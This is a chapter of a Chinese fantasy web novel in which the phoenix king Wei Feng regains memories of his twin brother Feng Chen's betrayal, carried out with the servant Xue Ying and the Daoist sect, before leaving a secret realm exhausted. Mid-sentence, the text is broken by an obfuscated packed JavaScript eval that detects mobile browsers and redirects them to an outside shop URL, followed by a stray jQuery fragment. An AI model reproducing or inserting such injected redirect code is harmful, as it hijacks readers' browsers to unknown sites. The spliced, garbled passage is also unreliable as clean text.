114. 融天(六) 前尘累赘。
    “凤皇哥哥, 你好威风啊”

    袍角一紧,低眸,是一只养得胖乎乎、藕节一样的小手, 指尖锋利。

    顺着望去, 赤红的耳翎,爬满半边脸颊的妖纹, 以及背后火红如焰的羽翼。

    显然, 这是一只化形鸟妖。

    男孩眼型细长,眉梢高挑,无端流露出几分高傲。可他的神情却又很敬慕,堪称火热地注视着眼前一身描金玄服、头戴琉冕的青年。

    两人的羽翼如出一辙, 故而, 凤皇很快意识到这是谁。

    他的弟弟, 凤凰双子里的哥哥。

    “凤宸”他眸中流露出些许惊讶, “你能化形了”

    “对的宸儿是不是很厉害”凤宸脸上浮现出得意的笑容, “我听说, 凤皇哥哥和我一样大时都做不到呢”

    蔚凤并未反驳他, 只不在意地付之一笑。

    他诞生时,世间门已无凤凰许久, 鸟妖群妖无首,族群式微,凤巢就差名存实亡。

    盼星等月,前朝留下的那么多枚凤凰蛋,终于活了一枚, 鸟妖们将其看得比眼珠子还紧。小凤凰刚懵懂地从壳里探出脑袋,就听闻连天欢呼鸣叫,差点吓了个倒仰。

    从出生起, 他就被奉为凤皇,未来将要统领凤巢、庇护鸟妖之尊上。

    既是凤皇,威仪绝不可丢,更不可以孱弱姿态示人。

    在蔚凤修为增长到能撑起成年化形前,他一次都不曾试过,自然不会比凤宸更早。

    “小殿下,您原来在这儿”

    负责照料凤宸的鸟妖急匆匆找来,瞧见蔚凤,面容一僵,立即诚惶诚恐地垂下头,“陛下。”

    “不必多礼。”蔚凤略略颔首,君臣之间门,他早已习惯这份距离。

    “凤皇哥哥凤皇哥哥,”凤宸眼神亮闪闪地唤他,“宸儿也想像凤皇哥哥一样宸儿也想当凤皇”

    蔚凤一愣,那鸟妖更是脸色大变,焦急地制止道:“小殿下,休得胡言冒犯”

    凤宸却不理他,反而狠狠瞪了他一眼:“雪鹰你闭嘴我和凤皇哥哥说话,哪有你插嘴的份”

    “抱歉,小殿下,可”

    那名为雪鹰的鸟妖欲言又止,蔚凤则摇摇头:

    “罢了,童言无忌。”

    他犹豫了下,伸手摸了摸凤宸的发顶,低声道:“你没必要和我一样。做你自己就好。”

    他不是不懂凤宸的歆羡憧憬,在旁人看来,凤皇高高在上,呼风唤雨,想要什么,鸟妖们拼上性命也会找来进贡,随心所欲到了极点。

    可唯独身在其中,方才知其辛苦。

    欲戴皇冠,必承其重。

    鸟妖天性要展翅翱翔,然而他的羽翼更像是某种象征的珍贵摆件,除了昭示凤凰的身份外,毫无用处。至今为止,从未飞出过凤巢。

    他身上承载着的,是万万鸟妖的希冀;他的命不是他的,是这万万臣民的;他活在世间门的唯一用处,就是为凤巢鞠躬尽瘁。

    没有自由,没有自我。有时,蔚凤也会觉得不堪重负。

    他愿意过这种日子,是因蒙受着鸟妖的恩惠与寄望长大,无法不去回馈;但他并不希望自己的弟弟妹妹重蹈覆辙。

    这对难得的双子,该如过去的每一只凤凰,无拘无束,恣肆逍遥。

    听闻此言,凤宸一下子不高兴了,眼里流露出一丝怀疑:“凤皇哥哥是害怕我会比你做的更好吗不然为什么不让我也当凤皇”

    蔚凤一愣,哭笑不得:“不”

    “就是你就是我去找祈儿评评理”

    说着,凤宸气呼呼地挣开雪鹰抱住他的手臂,双翅扑腾着跑开。

    小孩子任性起来,闹腾得厉害,雪鹰无奈地朝蔚凤鞠了一躬,便转过身,匆匆去追他:“小殿下,您慢些,别摔到了”

    蔚凤站在原地,看着他们远去的身影,微不可查地叹了口气,目光稍稍流露出些许羡慕。

    他虽为鸟妖拥戴,但也素来被严苛要求,没有无忧无虑说孩子话的空闲。

    为了尽快熟悉凤皇该做的事务,引领鸟妖,往往一睁眼便是书山卷海,夫子循循善诱,灌输着一个又一个难以理解的知识。

    他的幼崽期似乎格外的短,一眨眼,便是成熟庄重的小大人,令教导他的鸟妖无比欣慰。

    而若说对待蔚凤,众妖寄予厚望的话,对待后面诞生的凤宸和凰祈,便称得上溺爱了。

    沉寂许久的凤凰蛋里,有一枚忽然无声裂开,出来一对双子,凤巢上下举族欢庆。

    这是天大的喜事,鸟妖们便请来凤皇替两只小凤凰赐名。

    宸天生之尊;祈上苍赐福。

    凤宸、凰祈,乃蔚凤千挑万选才决定好的名姓。

    他十分疼爱这对弟妹,可疼爱之余,又不禁感到五味杂陈,甚至有些嫉妒。

    希望他们轻松、自由、饱受宠

    爱,也嫉妒他们的轻松、自由、饱受宠爱。

    群鸟争抢着请他来赐名时,却忘记了,凤皇也不曾取过名。

    好似他不需要名姓,也没有谁需要他的名姓,鸟妖们千呼万盼的,是能统率它们的君主陛下,凤皇大人。

    蔚凤这个名字,还是从前受邀去龙谷时,白承修为他想的。

    “蔚音同玉,象征福泽与祥瑞。”那条白龙在玉牌上刻下这两个字,递给他,“喏,这么写。”

    族外人赐名,到底于礼不合,蔚凤便偷偷记在心底,没有告诉过谁。反正说出来,最后得到的也就是一句“凤皇陛下”,自讨没趣。

    他曾以为这一辈子,都不会有用到这个名字的时候。毕竟他是凤皇,为这身份而生,为这身份而活,是尊贵万丈的囚徒。

    然而,谁都没能料到的是凤宸没有说孩子话。

    他是真心实意地想当凤皇。

    不知从何时起,凤巢开始暗暗传出风声:凤凰双子乃吉兆,小殿下聪敏非凡,说不定更加适合成为君主。

    这份风声,在蔚凤多次拒绝迎娶凰祈后,愈演愈烈。

    不愿和凰结合,诞下新生凤凰蛋的凤皇,真能带领鸟妖走向兴盛吗反观凤宸,和凰祈同胞而生的他,或许是上天注定的一对眷侣。

    鸟妖认定凤要求凰,更甚于伦理牵绊。这点则是蔚凤怎么也无法接受的。

    他向来将凰祈视作亲生妹妹,更不觉得作为双生子的凤宸能和凰祈在一起。听闻谣言的第一时间门就在朝会发了火,要谁也不准再提此事。

    别人不提,凤宸却来找了他。

    已是少年形貌的凤宸对他冷笑,张口第一句话,就是“你想拆散我和祈儿”

    “我不会让你继续一手遮天的。”凤宸面露狰狞,“我才是该当凤皇的那个,我才是该娶祈儿的那个只是出生晚了些而已,我比你这温吞家伙强得多”

    蔚凤愣了半晌,等看清他眼底的野心后,简直匪夷所思。

    一面好笑,莫非真以为凤皇是什么好位置不成一面又有些好气。

    凤皇的职责已刻进他的骨缝里,他只学会了这样存活,而拥有无数选择的凤宸却说要将这仅剩的东西抢走

    他不欲争辩,关了凤宸一月禁闭,人是暂且安分了,可这番话还是对蔚凤产生了影响,不由自主地在意起来别人的看法。

    却发现,身边居然当真有臣子有类似的想法,顿时一阵心冷。

    想他花费数百年,呕心沥血,兢兢业业,才慢慢令四分五裂的鸟妖族群重振旗鼓,变成如今模样,自认没有功劳也有苦劳。

    事实上,比起掌权弄势,蔚凤更多感到的是寸步难行、如履薄冰。忍耐至今,从未懈怠,也从无怨言。

    臣民的异心,令他生出一股茫然,不禁质疑起自己来。

    难道真是他做的不够好他不适合当凤皇只是恰好早了一步出生

    这样的念头挥之不去,让蔚凤越来越痛苦,却又分说不得,无处排解。

    唯一能透露几分的,只有意外撞破他喃喃自语的雪鹰。

    在凤宸一连解决许多桩难题,赢得凤巢上下赞叹后,蔚凤的难受到达了顶峰。

    他苦闷不平,一时竟感觉无处容身,找不到自己该有的位置,无比茫然。

    而也是这时,素来沉默恭敬的雪鹰看不下去,提议道:“陛下若想不通,不如远离纷争,出去散散心。”

    于是蔚凤逃了,在雪鹰的掩护下头一次独身离开凤巢,容许自己放纵一回。

    天大地大,他不知往哪儿走,突发奇想,干脆去看看给他添过无数麻烦的道修,究竟是何种模样,是否真那般丧心病狂、可恨可怖。

    但未见到丧心病狂的道修,倒是先见到了丧心病狂袭击凡人村庄的同类。

    这种以人肉为食的恶妖,蔚凤向来不齿为伍,便顺势出手清理门户,还没来得及离开,就撞见了前来除妖的宣明聆。

    出事那日,他本是散够了心,决定最后再逗一逗这个闷闷的小修士,尔后回到凤巢,结束这场难得的任性,继续承担凤皇的职责。

    世间门风景千千万万,挣脱过束缚,就舍不得再被关起来,想一直这么自在下去。

    他稍微有点想通了,既然凤宸想当凤皇,只要担得起,不若让他试一试。

    谁知,还未离开,横生意外。

    那老道显然有备而来,蔚凤不傻,清楚是自己的行踪被透露了出去。

    而知晓他会去哪里的,只有雪鹰。

    不,不如说,他会想来仙境一窥究竟,正是因雪鹰时常不经意地提及。

    而他却忽略了,照料着凤宸长大的,最支持凤宸的,也正是雪鹰。

    这是彻头彻尾的一场阴谋,一次背叛。

    梧桐草的味道香甜谙熟,宛如犹且置身凤巢。

    蔚凤的识海沸腾不已,头越

    来越疼,能记起的东西越来越多,封印被冲破一条裂口后,过去发生的种种,争先恐后地涌出。

    “风琛不,凤宸”他逐渐恍然,咬牙道,“当初,是你你与道门有所勾结”

    “你竟想起来了”凤宸笑了,“不另寻他法,我要靠什么扳倒你呢凤皇哥哥。”

    “柳长英是个爽快人,”他意味深长道,“我说将你的尸骨呈给他,他就立马同意了。这回也一样。”

    脚边雪鹰尸身未冷,喉间门流

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423836|141377||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    出的血水,逐渐染红了整片水泽。

    蔚凤的红衣陷在这片水泽里,像是惊心动魄的血渍。

    他实在不明白为何凤宸会对自己有这般大的敌意,嘶声问道:“何至于此我不曾亏待你”

    “是,你是不曾亏待我。”凤宸不知想到什么,神色一寒,“你只不过是,一直踩在我的头上罢了。”

    “无论我做什么,做得再好,他们都只会说,凤皇陛下当年怎样怎样哈,好好笑,我分明比你优秀得多只不过晚生些时日,叫你占去了这个名头的便宜而已,却无时无刻不被否定那种痛苦,那种挫败,你怎么可能会懂”

    明艳的脸孔微微扭曲,风琛森冷道:“凤皇的位置是我的,祈儿也是我的,你休想夺走”

    蔚凤盯着他,错愕之余,稍微有点了然。

    凤宸的神色,他再清楚不过那是嫉妒,他曾也有过。

    他嫉妒着不必背负责任的凤宸,却不想,凤宸则更癫狂地嫉妒着他,他的地位、权势、名望。

    目光移向雪鹰死不瞑目的尸首,蔚凤一时无言,缓缓说:“他待你那般真心,何必杀他。”

    环嵌在雪鹰喉口,从一开始,凤宸就没想过放他活路。

    这九曲连环的秘境,最初就是为自己设下的局。

    “不会吧,凤皇哥哥,你莫非在怜悯他”看他面露复杂,凤宸嘲道,“不想一想,我是如何找到你的”

    “当年祈儿心善插手,坏了我的好事,为了避免事情败露,我把雪鹰赶出凤巢,谁想因缘际会,竟会遇上失忆后的你想不到吧,他可是千里迢迢,背着一身的伤回来告诉我这件事哦”

    “若非他说了不该说的话,劝我放下,我也舍不得杀掉这般听话的一条狗。可惜叛徒,就是叛徒。”

    手指一紧,涅生像是体察到他内心惊痛,灵流温柔地环绕着掌心,令蔚凤好受了些。

    雪鹰害他两回,他自不会再留情面。可看到这样的凤宸,蔚凤不免感到一阵悲哀。

    “你那是什么眼神”

    凤宸厌恶极了,这和想象中的胜局完全不一样,他分明赢了

    为什么蔚凤不像他一般痛苦、不甘,反而还能这么平静不,他那么高傲的个性,那么喜欢居高临下地说教,被看不上的弟弟当众踩下去,怎会没有反应

    “你以为你是谁昔日威风凛凛的凤皇,如今也不过我的手下败将罢了,一条无处可去的丧家之犬”

    他忍不住越说越多,企图从那张脸上发掘出想要的失态,“你既护不住臣民,也赢不了比试,脱离了凤皇的名头,就是不折不扣的一个废物”

    “大名鼎鼎的蔚明光输给了一介散修,呵呵,不错的桥段,也不知你那帮同伴会怎么看”

    见蔚凤有一瞬的动摇,凤宸兴奋了,更为夸张地咋舌:“原本,我为你安排了更盛大的一场演出众目睽睽下变回真身,道门天才沦为妖修,精不精彩”

    “可惜你居然闭气了,还算有点警惕心,不然就要在师门面前现出原形咯”

    一颗心慢慢沉下去,看着堪称癫狂、面貌陌生的凤宸,蔚凤只觉得无比疲惫,静静地问:“说完了”

    脸色一沉,像被对方的无动于衷狠狠扇了一巴掌,凤宸咬牙切齿“你倒是不怕,只要我想,随时能把你的身份暴露给全天下”

    “请便。”

    不想再多做纠缠,蔚凤缓缓迈步,与他擦肩而过,朝离开秘境的雾门走去。

    这副态度彻底激怒了凤宸,他豁然转头,怒吼道:

    “还没完蔚凤,还没完”

    “这回,我定要让你万劫不复,死无葬身之地你给我等着”

    “小凤凰”

    蔚凤从秘境中出来后,宣明聆急忙迎上前去,扶住他摇摇欲坠的肩。

    手底一片冰凉,宣明聆这才发觉,他的衣衫都被冷汗浸透了,身躯滚烫,肌理紧绷。

    “蔚师兄,身体如何”

    “蔚师兄,你还好吗”

    被环绕在熟悉的关切嗓音中,蔚凤终于有了些脚踏实地的感觉。

    混乱成一团的识海浮现些许清明,他深吸口气,想尽力克制住语调的颤抖,却不能如意。

    “抱歉我”原本清澈悦耳的嗓音无比喑哑,“我没能赢。”

    宣明聆则道“你做的很好了。”

    这一声柔和至极,令蔚凤一下子无比委屈。

    压抑的凤巢、异心的臣民、下属背叛、兄弟阋墙

    一度遗忘的记忆悉数回笼,过去发生过什么,再也不会云里雾里,他却怎么都高兴不起来。

    “小师叔,”脱力地埋首在宣明聆肩头,蔚凤闭上眼,“我好累。”

    “辛苦你了。”宣明聆摸摸他的头发,“我们先回去。”

    “嗯。”顿了顿,蔚凤又短促地说了句,“抱歉。”

    “没关系的,蔚师兄。”琼光道,“你好生休息,放心交给我和谢师弟吧。”

    感到有束视线在打量自己,他回过头,遥遥与台上另一边的师寅对上眼。

    他没有避开,一字一句,坚定地说

    “下一场我会赢的。” ,